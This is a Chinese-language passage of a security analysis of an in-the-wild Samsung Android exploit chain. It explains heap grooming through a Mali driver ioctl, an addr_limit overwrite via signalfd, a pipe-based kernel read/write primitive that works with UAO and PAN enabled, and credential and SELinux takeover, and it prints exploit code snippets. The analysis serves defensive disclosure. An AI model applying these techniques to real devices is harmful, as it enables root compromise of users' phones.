此 ioctl 将指向缓冲区的指针、缓冲区的长度和填充作为参数。kbase_api_mem_profile_add将在内核堆上分配一个缓冲区,然后将传递的缓冲区从用户空间复制到新分配的内核缓冲区中。
最后,kbase_api_mem_profile_add调用kbasep_mem_profile_debugfs_insert 。此技术仅在设备运行启用了CONFIG_DEBUG_FS的内核时才有效。MEM_PROFILE_ADD ioctl的目的是将缓冲区写入 DebugFS。从 Android 11 开始,不应在生产设备上启用 DebugFS。每当 Android 推出此类新要求时,它仅适用于在该新版本 Android 上推出的设备。Android 11 于 2020 年 9 月推出,该漏洞于 2020 年 11 月被发现,因此该漏洞针对的是 Android 10 及之前安装 DebugFS 的设备是有道理的。
例如,在 Android 10 上启动的 A51 exynos 设备 (SM-A515F) 上,同时启用了CONFIG_DEBUG_FS并安装了 DebugFS。
a51:/ $ getprop ro.build.fingerprint
samsung/a51nnxx/a51:11/RP1A.200720.012/A515FXXU4DUB1:user/release–keys
a51:/ $ getprop ro.build.version.security_patch
2021-02-01
a51:/ $ uname –a
Linux localhost 4.14.113–20899478 #1 SMP PREEMPT Mon Feb 1 15:37:03 KST 2021 aarch64
a51:/ $ cat /proc/config.gz | gunzip | cat | grep CONFIG_DEBUG_FS
CONFIG_DEBUG_FS=y
a51:/ $ cat /proc/mounts | grep debug
/sys/kernel/debug /sys/kernel/debug debugfs rw,seclabel,relatime 0 0
|
因为 DebugFS 已挂载,所以漏洞利用能够使用MEM_PROFILE_ADD ioctl 来整理堆。如果没有启用或安装 DebugFS,kbasep_mem_profile_debugfs_insert将简单地释放新分配的内核缓冲区并返回。
#ifdef CONFIG_DEBUG_FS
int kbasep_mem_profile_debugfs_insert(struct kbase_context *kctx, char *data,
size_t size)
{
int err = 0;
mutex_lock(&kctx->mem_profile_lock);
dev_dbg(kctx->kbdev->dev, “initialised: %d”,
kbase_ctx_flag(kctx, KCTX_MEM_PROFILE_INITIALIZED));
if (!kbase_ctx_flag(kctx, KCTX_MEM_PROFILE_INITIALIZED)) {
if (IS_ERR_OR_NULL(kctx->kctx_dentry)) {
err = –ENOMEM;
} else if (!debugfs_create_file(“mem_profile”, 0444,
kctx->kctx_dentry, kctx,
&kbasep_mem_profile_debugfs_fops)) {
err = –EAGAIN;
} else {
kbase_ctx_flag_set(kctx,
KCTX_MEM_PROFILE_INITIALIZED);
}
}
if (kbase_ctx_flag(kctx, KCTX_MEM_PROFILE_INITIALIZED)) {
kfree(kctx->mem_profile_data);
kctx->mem_profile_data = data;
kctx->mem_profile_size = size;
} else {
kfree(data);
}
dev_dbg(kctx->kbdev->dev, “returning: %d, initialised: %d”,
err, kbase_ctx_flag(kctx, KCTX_MEM_PROFILE_INITIALIZED));
mutex_unlock(&kctx->mem_profile_lock);
return err;
}
#else /* CONFIG_DEBUG_FS */
int kbasep_mem_profile_debugfs_insert(struct kbase_context *kctx, char *data,
size_t size)
{
kfree(data);
return 0;
}
#endif /* CONFIG_DEBUG_FS */
|
首先,函数修改传入的掩码。传入函数的掩码是应该通过文件描述符接受的信号,但signalfd 结构的 sigmask成员表示应该阻塞的信号。[1] 处的sigdelsetmask和signotset调用进行了此更改。对sigdelsetmask的调用确保SIG_KILL和SIG_STOP信号始终被阻塞,因此它清除位 8 ( SIG_KILL ) 和位 18 ( SIG_STOP ),以便在下一次调用中设置它们。然后签名集翻转掩码中的每一位。写入的掩码是~(mask_in_arg & 0xFFFFFFFFFFFBFEFF) 。
该函数在 [2] 处检查传入的文件描述符是否为-1 。在这个漏洞利用的情况下,我们不会陷入 [3] 处的else块。在 [4] 处,signalfd_ctx*设置为private_data指针。
signalfd 手册页还说 fd 参数“必须指定一个有效的现有 signalfd 文件描述符”。为了验证这一点,系统调用在 [5] 处检查底层文件的f_op 是否等于signalfd_ops 。这就是上一节中将f_op设置为signalfd_ops的原因。最后在 [6] 处,发生覆盖。用户提供的掩码被写入private_data中的地址。在漏洞利用案例中,伪造文件结构的private_data被设置为addr_limit指针。因此,当编写掩码时,我们实际上是在覆盖addr_limit。
该漏洞利用掩码参数0xFFFFFF8000000000调用signalfd 。所以值~(0xFFFFFF8000000000 & 0xFFFFFFFFFFFCFEFF) = 0x7FFFFFFFFF ,也称为USER_DS 。我们将在下一节讨论为什么他们将 addr_limit 覆盖为USER_DS而不是KERNEL_DS 。
在 UAO 和 PAN 周围工作
“用户访问覆盖”(UAO)和“特权访问永不”(PAN)是现代 Android 设备上常见的两种漏洞利用缓解措施。他们的内核配置是CONFIG_ARM64_UAO和CONFIG_ARM64_PAN 。PAN 和 UAO 都是在 ARMv8 CPU 上发布的硬件缓解措施。PAN 防止内核直接访问用户空间内存。UAO 通过在设置 UAO 位时允许非特权加载和存储指令充当特权加载和存储指令来与 PAN 一起使用。
人们常说,上面详述的addr_limit覆盖技术在 UAO 和 PAN 开启的设备上不起作用。常用的addr_limit覆盖技术是将addr_limit更改为非常高的地址,例如 0xFFFFFFFFFFFFFFFF ( KERNEL_DS ),然后使用一对管道进行任意内核读写。这就是 Jann 和我在 2019 年的 CVE-2019-2215 概念验证中所做的。我们的kernel_write函数如下所示。
void kernel_write(unsigned long kaddr, void *buf, unsigned long len) {
errno = 0;
if (len > 0x1000) errx(1, “kernel writes over PAGE_SIZE are messy, tried 0x%lx”, len);
if (write(kernel_rw_pipe[1], buf, len) != len) err(1, “kernel_write failed to load userspace buffer”);
if (read(kernel_rw_pipe[0], (void*)kaddr, len) != len) err(1, “kernel_write failed to overwrite kernel memory”);
}
|
这项技术的工作原理是首先将指针写入您想要写入管道一端的内容的缓冲区。然后调用读取并传入您要写入的内核地址,然后将这些内容写入该内核内存地址。
启用 UAO 和 PAN 后,如果addr_limit设置为KERNEL_DS并且我们尝试执行此函数,第一次写入调用将失败,因为buf在用户空间内存中,而 PAN 阻止内核访问用户空间内存。
假设我们没有将addr_limit设置为KERNEL_DS (-1),而是将其设置为 -2,即不是KERNEL_DS的高内核地址。PAN 不会启用,但 UAO 也不会启用。如果不启用 UAO,非特权加载和存储指令将无法访问内核内存。
该漏洞利用绕过 UAO 和 PAN 约束的方式非常简单:漏洞利用根据是否需要访问用户空间或内核空间内存在USER_DS和KERNEL_DS之间切换addr_limit 。如下面的uao_thread_switch函数所示,当addr_limit == KERNEL_DS时启用 UAO,不启用时禁用。
/* Restore the UAO state depending on next’s addr_limit */
void uao_thread_switch(struct task_struct *next)
{
if (IS_ENABLED(CONFIG_ARM64_UAO)) {
if (task_thread_info(next)->addr_limit == KERNEL_DS)
asm(ALTERNATIVE(“nop”, SET_PSTATE_UAO(1), ARM64_HAS_UAO));
else
asm(ALTERNATIVE(“nop”, SET_PSTATE_UAO(0), ARM64_HAS_UAO));
}
}
|
该漏洞利用能够使用这种在USER_DS和KERNEL_DS之间切换addr_limit的技术,因为它们具有非常好的释放后使用原语,并且可以通过调用signalfd可靠且重复地向addr_limit写入新值。该漏洞利用写入内核地址的函数如下所示:
kernel_write(void *kaddr, const void *buf, unsigned long buf_len)
{
unsigned long USER_DS = 0x7FFFFFFFFF;
write(kernel_rw_pipe2, buf, buf_len); // [1]
write(kernel_rw_pipe2, &USER_DS, 8u); // [2]
set_addr_limit_to_KERNEL_DS(); // [3]
read(kernel_rw_pipe, kaddr, buf_len); // [4]
read(kernel_rw_pipe, addr_limit_ptr, 8u); // [5]
}
|
该函数接受三个参数:要写入的内核地址 ( kaddr )、指向要写入内容的缓冲区的指针 ( buf ) 以及缓冲区的长度 ( buf_len )。buf在用户空间中。当进入kernel_write函数时,addr_limit当前设置为USER_DS 。在 [1] 处,漏洞利用将缓冲区指针写入管道。指向USER_DS值的指针被写入 [2] 处的管道。
[3] 处的set_addr_limit_to_KERNEL_DS函数发送一个信号,告诉漏洞利用中的另一个进程以掩码 0 调用signalfd 。因为signalfd对signotset中掩码中提供的位执行 NOT ,所以值0xFFFFFFFFFFFFFFFF ( KERNEL_DS ) 被写入addr_limit 。 _
现在addr_limit设置为KERNEL_DS漏洞利用可以访问内核内存。在 [4] 处,漏洞利用从管道读取,将内容写入kaddr 。然后在 [5] 处,利用从管道中读取在 [2] 处写入的值并将其写回addr_limit将addr_limit返回给USER_DS 。该漏洞利用从内核内存读取的函数是该函数的镜像。
我故意不将其称为绕过,因为 UAO 和 PAN 的行为完全符合它们的设计目的:阻止内核访问用户空间内存。UAO 和 PAN 不是为了防止对addr_limit的任意写入访问而开发的。
Post-exploitation
该漏洞利用现在具有任意内核读写。然后它遵循大多数其他 Android 漏洞利用中的步骤:覆盖当前进程的cred结构并覆盖加载的 SELinux 策略以将当前进程的上下文更改为vold 。vold是“卷守护进程”,负责挂载和卸载外部存储。vold以root身份运行,虽然它是一个用户空间服务,但它被认为是内核等效的,如关于安全上下文的 Android 文档中所述。因为它是一个高度特权的安全上下文,所以它成为将 SELinux 上下文更改为的主要目标。
如本文开头所述,获得的样本是在攻击的准备阶段发现的。不幸的是,它不包括使用此漏洞部署的最终有效负载。
结论
与我们过去看到的许多 Android 漏洞利用相比,这种广泛使用的漏洞利用链是不同攻击面和“形态”的一个很好的例子。该攻击链中的三个漏洞都在制造商的自定义组件中,而不是在 AOSP 平台或 Linux 内核中。值得注意的是,这 3 个漏洞中有 2 个是逻辑和设计漏洞,而不是内存安全漏洞。自 2014 年年中以来,我们跟踪的另外 10 个 Android 0day,其中只有 2 个不是内存损坏漏洞。
该链中的第一个漏洞,任意文件读写CVE-2021-25337,是该链的基础,在4 个不同的时间,并且在每个步骤中至少使用了一次。该漏洞位于system_server中自定义内容提供程序的 Java 代码中。Android 设备中的 Java 组件并不是安全研究人员最受欢迎的研究目标,尽管它以如此特权级别运行。这突出表现了一个需要进一步研究的领域。
标记已知漏洞在野外被利用的时间对于目标用户和安全行业都很重要。如果不透明地披露 在野0-days,我们就无法使用该信息来进一步保护用户,使用补丁分析和变体分析来了解攻击者已经知道的内容。
对该漏洞利用链的分析为我们提供了关于攻击者如何针对 Android 设备的新的分析理解。它强调了对制造商特定组件进行更多研究的必要性。它显示了我们应该在哪里进行进一步的变体分析。这是一个很好的例子,说明了 Android 漏洞利用如何可以采取许多不同的“形状”,因此集思广益不同的检测想法是值得练习的。但在这种情况下,我们至少比攻击者晚了 18 个月:他们已经知道他们正在利用哪些漏洞,因此当这些信息不透明地共享时,它会使防御者处于进一步的劣势。
这种在野的攻击透明披露对于目标用户的安全和自主性以保护自己以及安全行业共同努力以最好地防止未来出现这些 0day。
原文始发于微信公众号(军机故阁):分析三星的在野漏洞利用链